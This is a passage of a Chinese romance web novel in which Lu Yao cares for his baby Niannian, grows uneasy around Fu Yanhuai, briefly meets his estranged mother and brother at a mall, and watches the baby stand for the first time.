晚饭开始一样一样摆上桌,鹿遥还把辅□□心摆了盘,端端正正放到年年面前,小勺子和筷子一个摆到一边,充满了仪式感。 鹿遥摆完又整了整年年的围兜,虽然晚饭就在眼前,但年年的目光一直都紧紧盯着鹿遥。 全都弄好了鹿遥才舀了一勺喂年年,“尝尝,喜不喜欢吃?” 年年追着鹿遥的手啃勺子,鹿遥被逗笑了,“下午吃了两根磨牙棒呀,怎么还这么饿。” 餐桌上的菜上齐,傅晏淮温声开口道,“让育婴师喂吧,你先好好吃。” 文筝也坐下叫鹿遥过来,“或者让你爸爸喂,你晚上要按时吃饭的。” 鹿遥犹豫停住,他看着眼含期待听不懂大人说话的年年,不忍心离开。 “算了,我来吧。” 鹿遥小声道,“我今天刚刚开始陪年年。” 鹿遥喂饭对年年来说就不仅仅是吃东西填饱肚子,还是爸爸陪他宠他的快乐时刻。 傅晏淮折中提议道,“那你把他拉过来,坐得近一点,方便你吃东西。” 这可以,但现在挪动有点不方便,鹿遥俯身想把年年先抱出来。 年年不明白为什么自己刚刚坐好乖乖等饭吃现在还要出去,他着急地扑腾了两下,脚胡乱不小心踢翻了自己的辅食。 年年的辅食比较稀,一打翻不可避免地就弄了年年自己和鹿遥一身。 鹿遥急急忙忙给年年脱裤子,“我得带他去洗个澡。” 第94章 第 94 章 洗澡 傅晏淮在一旁帮着给年年简单擦了擦, 但是糊糊还是把年年的小腿都浸透了,顺便连带着鹿遥小腹那一块衣服也脏了。 年年被傅晏淮提留着,很无辜地看看鹿遥, 又看看傅晏淮。 鹿遥擦了半天都擦不干净,干脆放弃了。 “我带他上楼去洗一下。” 傅晏淮皱了皱眉, 今天晚餐有小排骨,傅晏淮夹了一块喂到鹿遥唇边, “先吃一块, 不吃东西不行。” 傅际中和文筝都各自假装无事发生, 鹿遥脸皮薄, 面色腾地一下就红了。未免来回推拉浪费更多时间, 鹿遥匆匆叼走那块排骨就抱着年年狼狈上楼。 鹿遥冲进楼上浴室后脸上热度才稍微冷却下来, 他原本只想给年年洗一下,自己换身衣服就算了。但等他把年年抱进浴缸里又放上小黄鸭玩具,年年当即开始快乐玩水, 水花溅得到处都是。 鹿遥叹气扶额, 年年举起小鸭子邀功地给鹿遥看, 鹿遥无奈笑了出来。 “好吧,我也洗一下算了。” 鹿遥把脏了的衣服脱下来,光溜溜抱着年年坐进浴缸里。 热水浸过皮肤的感觉很舒适, 年年这应该是第一次和鹿遥一起洗澡, 他很兴奋地开始用婴语和鹿遥对话。 鹿遥嗯嗯啊啊地点头回应他,手上忙着挤泡泡给年年洗香香。 年年独自高兴一会儿就安静下来,他老老实实坐在鹿遥腿上摆弄小黄鸭。 鹿遥挤了一坨大便形状的泡泡放到年年头顶上,年年感觉头顶一凉,疑惑地回头看向鹿遥。 鹿遥笑得眼睛都弯了,“喜欢玩泡泡吗, 要不要试试吹一下?这样的。” 鹿遥把一小坨泡沫放在手心,演示地对着年年吹了一下。 年年下意识跟着眯眼睛,但还是更被泡泡吸引,鹿遥挤了泡泡和年年一起玩。 随后鹿遥陪年年进行了所有他能想到的洗澡玩法,给年年身上涂满滑溜溜的泡沫之后把他放到自己腿上,让他从小腿上坐着滑下来。 年年试着滑了一次之后就发现了新大陆,他欢呼雀跃一次次从鹿遥腿上滑下去,然后扑进鹿遥张开手等着他的怀抱里。 这个游戏在傅晏淮上楼敲门后被打断。傅晏淮在浴室门外听到了鹿遥和年年玩闹的声音,他停顿片刻才抬手敲门。 “鹿遥?年年洗完澡了吗?” 鹿遥瞬间僵住,他默默抱起年年身体缩起来,“还没有,很快了。” 虽然隔着门,虽然傅晏淮看不到浴室里具体的样子,但鹿遥现在这样…他还是有点脸热。 傅晏淮略带关怀的话在门外响起,“需要我帮忙吗?洗澡时间太长会晕,你还没吃晚饭。” 浴室内水蒸气蒸腾,年年奇怪地举起手挂在鹿遥脖子上,侧头趴了一下看着鹿遥。 鹿遥把年年抱得紧了点以防他乱动掉下去,温热水流荡漾舔舐他的肌肤,鹿遥脸更红了点。 “嗯,冲一下就好,不用了。” 傅晏淮在门外挑眉,鹿遥的声音听起来闷闷的。 不过傅晏淮也没有说什么,他温声答道,“好。” 鹿遥悄悄舒了口气,不过他没有立刻起身,而是坐在浴缸里等了等,确定门外没有声音了,才试探性地动了动。 浴室里静悄悄的,只有水流晃动的声音。 年年啊了一声表示疑惑,鹿遥低头,这才发现年年撅着屁股探头探脑地跟着自己扒着浴缸往外看。 鹿遥赶忙把年年按回去,年年仰头对着鹿遥眨眼睛。 鹿遥下意识对年年嘘了一声,但随后就意识到年年听不懂,年年困惑地伸出一根手指戳自己的嘴。 鹿遥开始迅速给年年冲他身上的泡沫,年年懵懵地被水流激得眯起眼睛。 鹿遥小声仓促道,“我们玩的时间太久了,得赶紧出去了。” 年年擦脸上水珠的速度远远赶不上水流溅到脸上的速度,但他依然执着地抓着鹿遥手指试图往前爬。 鹿遥茫然地被年年拽着抬头看年年用力的方向——很快鹿遥便明白了,年年还想坐滑梯从鹿遥腿上滑下去。 “不行啊。” 鹿遥小声拒绝,“我们真的得出去了,出去爸爸给你换上衣服,然后我们去吃东西,好不好?” 年年扁起嘴挣扎着抗议了一下,但或许有傅晏淮在外面等着的原因,或许也有担心年年洗太久着凉。总之鹿遥这次没有再抱着年年仔细哄,而是慌慌张张地给他冲洗身上。 于是年年就张牙舞爪地乱动假哭表示不满,鹿遥不得不声音变得急促哄他,“很快就好了,马上,年年乖,再等一下。” 几乎就是下一秒,傅晏淮的敲门声又在门外响起。 “鹿遥?你还好吗?” 鹿遥含糊道,“啊,没事啊。” 傅晏淮没走,他提出了一个建议,“不然你先出来吃饭,我带年年洗,然后把他带下楼?” 年年化身成为一条滑溜溜且固执的鱼,鹿遥狼狈把年年冲干净就想推开门把年年先抱出去。 但很快鹿遥就意识到大事不妙,他进来时直接把衣服脱在了浴室里,没有拿换洗的衣服进来。 鹿遥无助地在浴室里和年年大眼瞪大眼坚持了一会,最终还是心一横,小心翼翼把门拉开一点缝。 “傅晏淮?你还在吗。” 鹿遥握着门把手试探地往外看,他勉强披了个大浴巾在身上,年年也被包在里面。 傅晏淮当然还在,他不可能走。 傅晏淮听见鹿遥的声音就重新走近浴室门,水蒸气从门缝里飘出来,后面站着拘谨、湿漉漉、又热气腾腾的鹿遥。 傅晏淮的眼神不经意扫过鹿遥细白的腿,鹿遥强装镇定故作无事,把年年往傅晏淮眼前一举。 “洗好了,你帮他穿上衣服,然后直接下楼吃饭吧。” 从傅晏淮的角度,垂下眼皮就能看见浴巾下隐隐露出的肌肤,和… 这一刻,傅晏淮曾经吮吸那里时鹿遥的颤抖,再一次清晰回到傅晏淮大脑中。 鹿遥的手臂还在往下滴水,焦糖掺杂着水味儿,闻起来是淡淡的甜。 鹿遥努力绷着脸,但脸颊还是粉红的,傅晏淮牙关有点酸,唾液开始不由自主地分泌。 “好啊。” 傅晏淮微笑着伸手接过被裹成一团的年年,鹿遥偷偷松了口气。 鹿遥假装无事发生地拢紧身上的浴巾,默默往后退了一步。 鹿遥的声音很小,“我等等就出去。” 傅晏淮接过年年时故意擦过鹿遥的手臂,他看到鹿遥不自在地把手缩进浴巾里,不动声色挑了下唇角。 “不急,不过。” “下次要把浴巾披好。” 鹿遥看着傅晏淮的眼神变得困惑,他低下头看看自己,发现侧边的浴巾不知道是被年年踢了起来,还是刚刚匆匆忙忙原本就没注意到。浴巾被水沾湿贴到了腰上,露出臀/肉上一小块白白的肌肤。 鹿遥咣地一声迅速把门关上,然后他在镜子里看到了自己通红的脸。 鹿遥把脸埋进手里,在原地站了很久依然面红耳赤。 这一刻,鹿遥想把这个澡洗到天荒地老。 傅晏淮看着手里一脸懵的年年算是冷静了下来,年年的头发湿哒哒的贴着头皮,傅晏淮把他放下来帮他擦干。 年年皱着脸忍住坐好,但一直回头回脑地去看浴室门。 傅晏淮拍拍年年,“乖一点。” 他要在鹿遥出来之前把年年整理好,让鹿遥有精力忙活自己。 现在傅晏淮做这一整套流程还是有些笨拙,但比最开始好多了。年年算是很乖的婴儿,虽然还是不满鹿遥不陪自己玩,可他只是一个人默默生闷气。 如果年年现在长大一点会说话,傅晏淮还可以哄骗年年,从年年口中问点和鹿遥有关的事,比如刚刚他们两个在浴室里都做了什么。 但年年还是太小,傅晏淮只能遗憾作罢。 把身上的泡沫都冲掉其实没有花费太多时间,浴室里没有可以换上的衣服,鹿遥硬着头皮,紧绷住脸小心翼翼握紧门把手下压。 鹿遥默默期盼傅晏淮已经帮年年穿好衣服带下楼,但可惜事与愿违,傅晏淮还很稳得住地坐在屋子里。 年年已经穿好衣服乖乖坐着摆弄玩具,傅晏淮正在柜子前面给年年挑选帽子。 鹿遥觉得这样光着脚、身上还在往下滴水的自己很不适宜在这样的场景中出现,但他还是鼓励自己没什么要紧的。他和傅晏淮什么都做过,年年又不懂什么,没什么大不了。 浴室内含混的甜香丝丝缕缕地飘到屋子里,傅晏淮选中了一顶小熊耳朵帽子,他把它拿下来,面色自然转过身。 “我帮你拿了一套衣服出来。” 傅晏淮随手把帽子准确敷衍地放到年年头上,年年只觉得有社么软软的东西忽然biaji一坨落到自己头上,他震惊地停住了手上玩玩具的动作。 傅晏淮先拿出一件很柔软的浴袍把鹿遥包裹住,鹿遥的鼻尖离傅晏淮的肩膀很近,傅晏淮身形下的阴影莫名很有安全感。 傅晏淮甚至还顺手把浴袍的帽子也给鹿遥戴上了,鹿遥怔怔看着他,又偷偷捏紧浴袍的带子别开眼。 “你换衣服吧。” 傅晏淮的声音不重,他现在和鹿遥说话都会有意缓和声线。 傅晏淮侧身让了让,年年正在后面的沙发上努力伸手够自己头上的帽子,鹿遥看着他忍不住想笑。 “我带他下楼,头发吹干一点,不然会着凉。” 鹿遥走到年年身前蹲下,帮他正了正那顶小熊帽子。浴袍洁白的一角擦过鹿遥的小腿,傅晏淮把脚尖转向鹿遥,这一幕很吸引人。 傅晏淮这样主动避让让鹿遥少了很多心理负担,他背对着傅晏淮垂下眼,轻轻嗯了一声。 第95章 第 95 章 看我 鹿遥下楼的时候, 傅晏淮正在给年年喂饭。一小勺辅食,年年啊呜一大口下去,只吃掉了上面的一点点。 傅晏淮给他拿完衣服就真的带年年下楼了, 鹿遥还以为他不会轻易离开。 在餐桌上看见傅晏淮,和在浴室门口看见傅晏淮完全是两种截然不同的感受, 至少鹿遥现在就能控制自己表情看起来正常。 鹿遥忍住一点莫名其妙的别扭走过去,假装无事发生坐在年年对面。 傅晏淮看鹿遥出来才让人把一直热着的东西端上来, 鹿遥折腾了一会, 现在的确有点饿了。 只要在家, 鹿遥吃的就都是营养师特定餐品, 就算不在家, 傅晏淮也会想办法把营养餐送到鹿遥跟前, 鹿遥现在已经习惯了自己开小灶。 傅晏淮喂饭很有耐心,年年很努力勤勤恳恳地吃。于是鹿遥也没有什么表示,他也沉默坐下来干饭, 心里碎碎念这尴尬的一晚最好快点过去。 但傅晏淮显然没有这么容易放过鹿遥, 他的目光落在鹿遥身上蜻蜓点水看过一眼, 随后收回目光开口,“其实可以不用一直贴着腺体贴。” 虽然现在腺体贴已经被研制得很符合人体工学,贴上去很久也不会难受, 但还是不贴更舒服。 鹿遥顿了顿才开口, “家里这么多人,爸爸妈妈也都在,不贴不方便。” 傅晏淮垂下眼,又挖了一满勺的辅食,“只有我在的话,可以不贴。” 鹿遥不明白这是什么意思, 他觉得傅晏淮在才更应该贴着。 鹿遥转移话题问道,“这是给年年新做的吗?” “不是。”傅晏淮诚实道,“你做的锅里还有一些余量,我觉得差不多也够他吃了。” 年年脸上还沾着点糊糊,抬头冲着鹿遥甜甜地嘿嘿一笑。 鹿遥哭笑不得,“那是我摆盘之后多的,好吧。” 年年显然吃得津津有味,脸都快埋到傅晏淮手里了。 年年喜欢吃自己做的东西,鹿遥挺高兴,他也低下头继续吃饭。 傅晏淮不希望鹿遥做的东西浪费,既然还有,当然就应该让年年吃掉。 傅晏淮在对面坐着,鹿遥不自觉加快吃东西的速度,嘴里塞得满脸颊鼓出来一块,鹿遥越吃越觉得落在自己身上的目光变得灼热。 鹿遥忍无可忍抬眼,刚好对上傅晏淮毫不掩饰的直白目光。 鹿遥看起来是在虚张声势,虽然瞪着眼睛,但傅晏淮很明显看到鹿遥的耳垂迅速染上粉色。 “年年吃完了吗?你一直看我干什么?” 傅晏淮没有丝毫心理负担地开口,“没有。我觉得你吃东西的样子很可爱,所以一直想看。” 鹿遥憋了半天也没憋出一句能回傅晏淮的话,他迅速吃完饭就落荒而逃。 年年困惑地看着鹿遥飞速上楼,手里还紧紧攥着傅晏淮的衣角,他仰起头指着楼梯的方向对傅晏淮啊了一声。 傅晏淮弯了下唇角,“你爸爸害羞了。” 经历这令人无所适从的一天后,鹿遥下定决心要躲着傅晏淮。发情期已经被他强行抛在脑后,他一看见傅晏淮就浑身别扭。 正好这两天也很忙,不仅要忙自己的品牌店,而且也要过年了。 年年为此很是郁闷,傅晏淮由此扛起育儿的重任,并且在每天交接年年的时刻故意多和鹿遥接触一会。 傅晏淮的举动鹿遥直接无视,但对年年鹿遥是很不忍心的,他只能尽量早一点回家,在年年每天的睡觉时间前陪他一会。 傅晏淮很理解这种事业初期事无巨细都需要自己操心的感觉,为了平衡双方的需求,也为了不让鹿遥一直躲着自己,傅晏淮坦率地决定带年年去接鹿遥下班。 因为鹿遥早出晚归而且刻意躲避,傅晏淮已经很多天没有正常地和鹿遥说过话,每次鹿遥都是匆匆离开。 鹿遥今天和文筝说了回来的时间会有点晚,这给了傅晏淮很好的借口去接他。 外面还是有点冷,傅晏淮把年年全副武装之后抱上车,戴上小熊帽子之后还把外套的帽子扣了下来。 年年上车之后还好奇地左右看看过,但时间真的太晚,他被放进安全座椅里坐着,很快就安静下来,一直看着窗外。 傅晏淮隔着两层帽子,从缝隙里看年年的眼睛,圆圆的,黑白分明。 傅晏淮希望年年的眼睛形状可以继续保持,毕竟这真的很像鹿遥,长大了也会很漂亮。 年年感受到傅晏淮的注视转回头,傅晏淮仔细观察他,发现年年的双眼皮比鹿遥的窄一点。 “或许是还没长开。” 傅晏淮低声猜测道,“长大了应该会更明显一点。” 傅晏淮还不知道小孩子的面容变化会很大,他目前对此的心态很乐观。 年年看了傅晏淮一会就低下头自顾自地摆弄手,他对傅晏淮没有什么大的兴趣。 傅晏淮把年年的帽子往下压了压,年年没有反应,他沉浸在自己的小世界里。 于是傅晏淮也不再打扰他,他开始处理工作,等车到达鹿遥的店。 鹿遥隐隐有感觉傅晏淮今天会借机来接他,但他不知道傅晏淮是带着年年一起来的。 他收拾好自己的东西就做好心理准备往门口走,刚好和抱着年年往里进的傅晏淮碰见。 鹿遥非常震撼地愣住了。 他先上前检查了一下年年的状态,车里晃晃悠悠,年年迷迷糊糊有点困了,他趴在傅晏淮肩膀上没精神。 鹿遥连忙绕过去摸摸年年的脸,好在没冷到,年年的脸蛋还是热乎乎的。 鹿遥松了口气,随后就对傅晏淮埋怨,“你抱他来做什么,晚上这么冷,一会就到他要睡觉的时间了。” 年年看见鹿遥眼睛一下子睁大了,他扑腾着胳膊用力往上拱了一下,表示要鹿遥抱。 傅晏淮拍拍年年的屁股示意他等等,傅晏淮的神情很平静,“我来接你回家。” 鹿遥也不想抱一下年年,但现在当务之急还是先回到车上,他边往出走边给年年挡风,“你说你真是的,你和我说年年来,我就早一点下班好了,还这么晚把他抱过来,他一会就要睡觉…” 鹿遥一生气起来就忍不住话很多,傅晏淮安静听着,和鹿遥一起往停车的地方走。 傅晏淮也没有想过和鹿遥一起出现在傅氏集团门口会怎么样,几乎没有狗仔会偷拍关于他的花边新闻,上次似真似假的绯闻还是傅晏淮自己授意的。 但他忘记了夜晚的商业街来往行人很多,他抱着年年和鹿遥一起,三人又非常醒目,一出去就吸引了很多目光。 鹿遥满心满眼都是年年千万别生病,傅晏淮跟在他后面挡住这些若有若无的视线,鹿遥拉开车门坐进去后,傅晏淮紧接着也把年年塞进了鹿遥怀里。 傅晏淮关门照常绕到另一侧,车很快启动离开。 年年上车之后就有点不舒服闹觉,鹿遥看出年年是觉得累了,他小声哄着年年拍睡。 傅晏淮什么都没有说,直到助理的消息弹出。 助理:傅总,这些博文需要限流控制一下吗? 傅晏淮点开仔细地挨个看了一遍,都是他们三个同框的图片。 傅晏淮遮挡的角度很好,只有一张拍到了鹿遥的侧脸,而且天黑了不是很清晰。 年年趴在他肩膀上,还戴着帽子,挡得很严实。 傅晏淮随手敲下两个字:不用。 傅晏淮关上手机,看了看旁边的鹿遥。 年年不知道是不是已经睡着了,他此时非常安静,车厢内只有鹿遥有一下没一下拍年年后背的声音。 鹿遥的声音很轻,但不妨碍他态度很坚决。 “下次不要再这么晚抱年年出来了,他这样睡着一冷一热的容易生病。” 鹿遥最不能接受的就是年年生病,前两个月年年发烧呼吸不畅,烧得脸通红睡觉都不睡不沉,呼吸声很粗重喘不上气。鹿遥在一边只能听着,他真的很心疼。 鹿遥皱眉看着傅晏淮,“你听到没有。” 傅晏淮毫不避让地迎上鹿遥的目光,他的表情很温和,但姿态却是微微倾身凑近的。 “听到了。” 压迫和温驯同时在傅晏淮身上矛盾地出现,鹿遥无措地凝固住。 “我只是想让你看到我,如果没有年年,你大概不会同意坐上这辆车。” 傅晏淮的表情很黯淡,话也很可怜,可事实却是他把鹿遥逼进角落,鹿遥只能局促地别开头。 “我只是,我只是没想到你突然会来。” 鹿遥已经被逼近角落,他后背碰到了车门,退无可退。 鹿遥避免抬头对上傅晏淮的视线,“你别这样,我们回去吧。” “别害怕,你知道的,我不会真的逼迫你。” 傅晏淮的手撑在鹿遥大腿旁的座椅上,鹿遥可以看到他手背上凸现的青筋。他万分无措地抬眼,又好像立刻被烫到一样垂下。 傅晏淮的声音低缓,“没有你的同意,我不会真的碰到你。所以你为什么,一直都不看我呢。” 鹿遥一直到下车都是恍惚的,傅晏淮的话很没道理,又好像很有道理。 诚实地来讲,鹿遥并没有过任何正儿八经的感情经历,他忙于奔波在自己的人生中,唯一和傅晏淮的关系还并不能算是“两情相悦”。 鹿遥不会暧昧,也不会恋爱,他生涩地试图感受和理清现在的状况,但最终还是无果。 鹿遥也说不清自己在害怕什么,反正他看见傅晏淮就是想躲开。 鹿遥怕年年被风吹到,一下车就抱着年年窜进屋内溜上楼,看着年年在婴儿床里沉睡的小脸,鹿遥一动不动地凝滞住。 品牌店不会永无止境地忙下去,再过一周就要过年,他迟早还是要面对傅晏淮的。 鹿遥不知道自己该怎么办了。 第96章 第 96 章 兔子 鹿遥对自己和傅晏淮的关系挺头痛的, 但是临近过年节点,文筝和傅际中都对这次新年抱有极大热情,毕竟这是年年第一次过这个最大的传统节日。 鹿遥大致规整好乱七八糟的事情, 抽时间带年年出去逛商场,顺便也玩一玩, 年年已经很久没有被鹿遥带着出门了。 这种事情怎么会少了傅晏淮的参与呢,任何有借口能接近鹿遥的机会, 傅晏淮都会牢牢把握住。 考虑到年年的精力和吃饭换尿不湿的问题, 鹿遥最终决定去距离别墅区最近的那个商场, 人少还近, 带年年玩一玩就可以回家。 鹿遥从前就对逛街没有什么特别大的兴趣, 现在有了年年第一目标也是先去逛婴儿用品。年年长大了很多, 再加上棉袄棉裤就更沉,而且他现在不能很老实地躺在婴儿车里,所以傅晏淮选择一手抱年年一手推车, 在一旁慢悠悠跟着鹿遥。 小孩子的东西总是看起来软软的很可爱, 鹿遥看到了一个肥肥的趴趴兔, 他伸手捏了一下,手感很好。 于是鹿遥就自然地把那个兔子拿起来,“年年, 这个喜欢吗?是小兔子。” 年年挺喜欢, 他现在还没有特别不喜欢的东西,尤其这个玩具还是鹿遥挑的,年年就更喜欢了。 “唔嗯。” 年年眼睛亮亮就去抱兔子,动作幅度太大,傅晏淮眼疾手快拎住年年后脖子。 但尽管如此,被抱着玩玩具空间也很小, 鹿遥此时顾不得和傅晏淮保持距离,他紧贴着傅晏淮的手扶着年年的后背。这也是没办法的事,毕竟年年整个人也没多大。 “把年年放下来吧。” 鹿遥有点尴尬,和傅晏淮挨得这么近,他又开始不自在地眼睛躲闪。 傅晏淮依言把年年放到沙发上让他坐着,年年开始认认真真地揪那个兔子玩。 鹿遥蹲下来小声提醒他动作轻一点,小兔子也会疼的。 傅晏淮只是默默看着他们两个,鹿遥的教育方式在他看来很可爱。 年年很喜欢鹿遥这样温温柔柔地和他说话,他咧开嘴对鹿遥笑。 这次年年伸手,轻轻碰了一下兔子就把手缩回去,然后眼巴巴等着鹿遥的夸奖。 店员在一边暗中观察很久,这一家三口怎么有点像上新闻那个。 不过店员的基本素养让她收起了八卦的心,她上前温声细语介绍其他婴儿用品,“这个米粉很适合这个月份的婴儿添加进饮食…” 鹿遥听得很认真,他拿起一罐仔细看配料表。 有必要买这个吗,年年的辅食都是现做的,但是偶尔给年年尝一尝或许他会喜欢呢? 鹿遥买东西很纠结,傅晏淮很有耐心地在一边坐下等着,年年专心致志玩那个兔子,他很喜欢自己的新玩具。 “妈,那是鹿遥?” 关清露看着店内的场景,一瞬间有些晃神。 鹿遥和以前不大一样了,不是以前小心内敛的样子,他脸色比以前丰润很多,气色不错,眼神中很有神采。 关清露当然不知道这是傅晏淮锲而不舍追着鹿遥几个月给他加餐食补的结果,她只知道一个人过得好不好,脸上是藏不住的。 “他还真过得不错。” 鹿千星这话说得酸溜溜的,傅晏淮浅浅放出不愿意与鹿家合作的消息,所有人都开始很有眼色地自发无视他们。一谈点什么事情表面都是客客气气交谈,转头就以不合适为由直接拒绝。 鹿千星只好做着一个高不成低不就的工作,这和他的初衷背道而驰,他是想进到更上一层的圈子,凭他自己这要怎么进。关清露也为此头疼不少,看着都有点老了。 关清露没说话,她看着鹿遥出神,心里一时很复杂。 还是傅晏淮最先注意到他们两个的,年年玩兔子玩得认真,他随意抬眼瞥了一眼,很容易就被店外的两个人吸引视线。 傅晏淮挑起眉,鹿千星有点打突,他伸手拽了下身旁的关清露,“妈,咱们要过去吗?” 关清露艰难地移开视线,她装作无事发生的样子,脸上虚虚浮起个笑容,对着傅晏淮走过去。 “我们正想去看看你们,快过年了。” 鹿遥循声望过去,看到关清露时显然很意外,但关清露直接站到傅晏淮面前,鹿遥就只是皱紧眉头,没有开口说什么。 没有人说话,傅晏淮和鹿遥都在等着看关清露想说什么。 关清露低头看着年年,“这孩子都长这么大了?在玩什么呢。” 年年感觉头顶有声音,所以他仰头看了看,一看是个不认识的人,年年把身体转向傅晏淮的方向,继续低下头抓兔子耳朵。 但关清露很显然愣住了,她面色复杂开口,“他长得和鹿遥小时候真像。” 提到年年,鹿遥就很警惕了,他默默走过去想把年年挡住,“你想说什么就直说。” “我来看看你们,不行吗。” 关清露执拗就想在年年面前站着,她拿起那个兔子玩具逗年年,“这孩子怎么这么安静。” 年年眼睁睁看着兔子从自己手里转移到关清露手上,他不敢置信地目光追随兔子移动,最后停在关清露脸上。 关清露也是很久没有逗过孩子了,而且对着这张和鹿遥十分神似的脸,关清露的笑容很勉强。 年年的脸有点憋红了,他想哭,但又更想拿回自己的兔子。 他拽着兔子耳朵尖儿瞪着关清露,关清露愕然道,“这是怎么了。” 年年拽了两下没拿过来,他彻底怒了,他借着拽兔子和关清露对抗的劲儿一鼓作气站起来了。 鹿遥在后面都没看清楚关清露到底怎么逗年年玩的,结果紧接着年年就忽然站了起来,鹿遥惊了。 年年抿着嘴一直盯着关清露看,关清露愣了一下反应过来松开手,鹿遥挤开她扶住年年手臂。 一看到鹿遥年年马上就不站了,他委委屈屈揪着兔子耳朵往鹿遥怀里拱。 但鹿遥还是很震惊,他低头想把年年的脸捧起来,声调都不自觉扬起来,“你刚刚站着了?你会站了?” 年年哼哼唧唧地搂着鹿遥的脖子,鹿遥手忙脚乱把年年和兔子都抱起来。 傅晏淮不知道什么时候站在了鹿遥旁边,他默默伸手托着年年屁股,鹿遥调整了一下姿势。 关清露在一边看着,勉强笑了一下,“看来今天我们来得还算巧…” 傅晏淮比了个手势,关清露没有再继续说下去。 他面色没有分毫改变,因为关清露的确就是无关紧要的人。 “你还有什么事吗?” 关清露的眼睛却越过他,看着傅晏淮身后的鹿遥和年年。鹿遥看起来很疼爱这个孩子,年年现在已经没有刚才那么不高兴了,他的哼哼唧唧听着更像是撒娇要鹿遥哄。从头到尾鹿遥都没有表现出一点不耐烦的样子,他不厌其烦地回应年年的无意义哼唧,目光专注全部落在年年身上。 关清露一时沉默下来,其实和傅晏淮和鹿遥想的都不一样,关清露这次真的是想来看他们。 或许是临近过年,或许是真的年纪大了,她现在反倒开始怀念起鹿遥的好来。 傅晏淮微微蹙起眉,关清露却在此时开口了,“没什么,我们还有事,先走了。” 鹿千星看着很是惊愕,他叫了一声,“妈?可是我们不是…” 关清露已经转过身了,“走吧。” 傅晏淮定定看着两人离开,随后轻飘飘将目光收回,走到鹿遥身边,似有若无挡住两人离开的背影。 年年安心趴在鹿遥肩膀上,脸上的肉被挤得扁扁的,他眼珠向上转,偷偷看着傅晏淮。 傅晏淮对鹿遥的关心大于年年,他仔细地看鹿遥的神情有没有不对。 鹿遥后知后觉地意识到傅晏淮在旁边,他往傅晏淮身后的方向看了看,才发现关清露和鹿千星都已经不见了。 鹿遥不由愣住,“他们走了?” “嗯。”傅晏淮平静道,“可能真的只是碰巧遇到,所以离开了。” 鹿遥有点疑惑,他还以为今天要在这里和他们两个纠缠一阵子。不过这样也挺好的,现在鹿遥每天都有很多事要忙,也没有多余的精力应付其他的人。 鹿遥停顿片刻才开口,“哦,好。我们也回家吧。” 傅晏淮不确定鹿遥这是什么意思,他低声迟疑道,“你…” “我没事。” 鹿遥垂下眼,“这样挺好的。” 于是傅晏淮就顺势转移话题,“妈看见年年会站应该会很惊讶。” 鹿遥也对此十分震惊,“之前年年在家都没有想站起来,都是爬的,现在竟然会站了!” 鹿遥抱着很敦实的年年感慨,“小孩子长得真快。” 他第一次见到年年的时候,年年还很瘦很小,外界的一点点动静就让他不安地大哭。什么都不要,又总是很难受地一个人缩着。 鹿遥把年年抱得更紧了点,这个动作会同时让鹿遥和年年觉得安心。现在年年白白胖胖又很好动,鹿遥很满意。 傅晏淮罕见地共情了这种为人父母的情绪,他摸摸年年的头,低声安慰鹿遥,“只长大了一点点,还是很小的婴儿。” 鹿遥嘟囔着往外走,“那也是长大了很多,你都看不出来。” 傅晏淮跟在后面放柔声音解释,“我看出来了的,我错了。” 鹿遥没有发现他和傅晏淮之间的关系已经在悄悄改变,傅晏淮拉开车门,鹿遥自然地坐了进去,把年年放到安全座椅里抓兔子。 鹿遥此刻的心情非常平静,今天的小插曲并没有影响到他。 他已经不需要飘渺的母爱,来支撑自己继续走下去了。 第97章 第 97 章 滚烫 关清露离开的时候显得很失魂落魄, 原本在商店还撑着一口气,装着没什么事的样子。现在刚刚回到车上,她的肩就瞬间垮了下来。 鹿千星难以置信道, “就这么走了?不是说…” “好了。” 关清露猛地停下脚步,她拎着精致小包的手紧了又松, 鹿千星从她语气中听到了一丝颤抖。 “你没看到吗,傅晏淮陪着他, 那孩子长得也很不错。他过得挺好, 我看见了, 还要继续等什么?” 鹿遥和傅晏淮被拍到的新闻, 关清露原本是没看到的。但是现在落井下石嘲讽鹿家不知天高地厚的人也有很多, 关清露是在别人口中得知了鹿遥和傅晏淮一起出现的消息。 照片上傅晏淮的脸很清晰, 但鹿遥都没有正脸,年年更是只有一小坨,不要提脸, 身体都模模糊糊看不大清。 关清露就对着那张看不清什么内容的照片看了很久, 最终她决定来看一看这两个孩子。 到了现在, 关清露也知道很多事情都已经无法挽回,她也不能怎么办。 鹿千星悻悻闭上嘴,“那我们还说要给他买点东西…” 关清露背对着他, 鹿千星看不见她的表情, 她的声音很低。 “应该的,我对他不好,他不在意我也是应该的。” 鹿遥没有回想刚刚发生的一切,他全神贯注看着年年,手里晃晃兔子耳朵持续鼓励他。 “年年,看这个, 看这里~” 年年瞪着圆溜溜的眼睛,跟着鹿遥的手抬头往上看。 傅晏淮捏了捏年年的小腿肉,“不如直接把他抱起来站着?” 鹿遥否决,“可是他刚刚就是自己站起来的,你也看到了。” 年年安看着那只兔子眨眨眼睛,没有什么想站起来的意思,好像也没有刚刚在商场的时候那么喜欢玩了。 鹿遥又绞尽脑汁试图逗年年起来,但年年不知道是不是没有理解鹿遥,反正屁股坐得稳稳的,不过一直很活泼在伸手抓那个兔子逗鹿遥笑。 鹿遥不死心地又晃了一会,年年只是一味抬起无辜的小胖脸,鹿遥不由叹气。 鹿遥探身捏了一下年年的脸蛋,随手把兔子放到一边,“好吧,你想坐着就坐吧。不过你会站了哎,好厉害哦。” 年年就软乎乎地唔了一声,然后双手撑住鹿遥的腿拱来拱去,鹿遥很惊奇地看着这一幕。终于,在年年脸都憋红了之后,他chua地堂堂直立起来。 鹿遥又惊又喜,他张着手在后面虚虚扶着年年怕他摔了。鹿遥和年年亲密地脸贴脸,傅晏淮走近半蹲下来,眼神温和沉默看着他们两个。 鹿遥下意识抬头看过去的时候,面上笑意还未收敛。鹿遥就这样直直撞进傅晏淮眼底,他慌乱错开视线,装作无事发生地重新低头。 “鹿遥。” 傅晏淮的声音很低,鹿遥握着年年的手臂,没有抬头。 “我想,如果你愿意的话,我们,或许可以…” 鹿遥在这一瞬间感受到了自己纷杂的心跳和随之升起的迷茫,可以什么?愿意什么? 鹿遥也不知道自己该做出什么选择才是正确的,或许根本就没有正确的选择。 “你说这些做什么。” 年年站不了多久,他哼哼唧唧地往鹿遥怀里钻,鹿遥就顺势把他抱进怀里。 鹿遥试图平稳声音和思绪,“这里也是你的家,我又没有非要把你赶出去。” 鹿遥把头埋得很低,傅晏淮看不到鹿遥眼底的神情,只看到年年困惑的脸,和鹿遥颤抖的睫羽。 傅晏淮眉心微微跳了一下,在这一刻,他好像察觉到了什么。 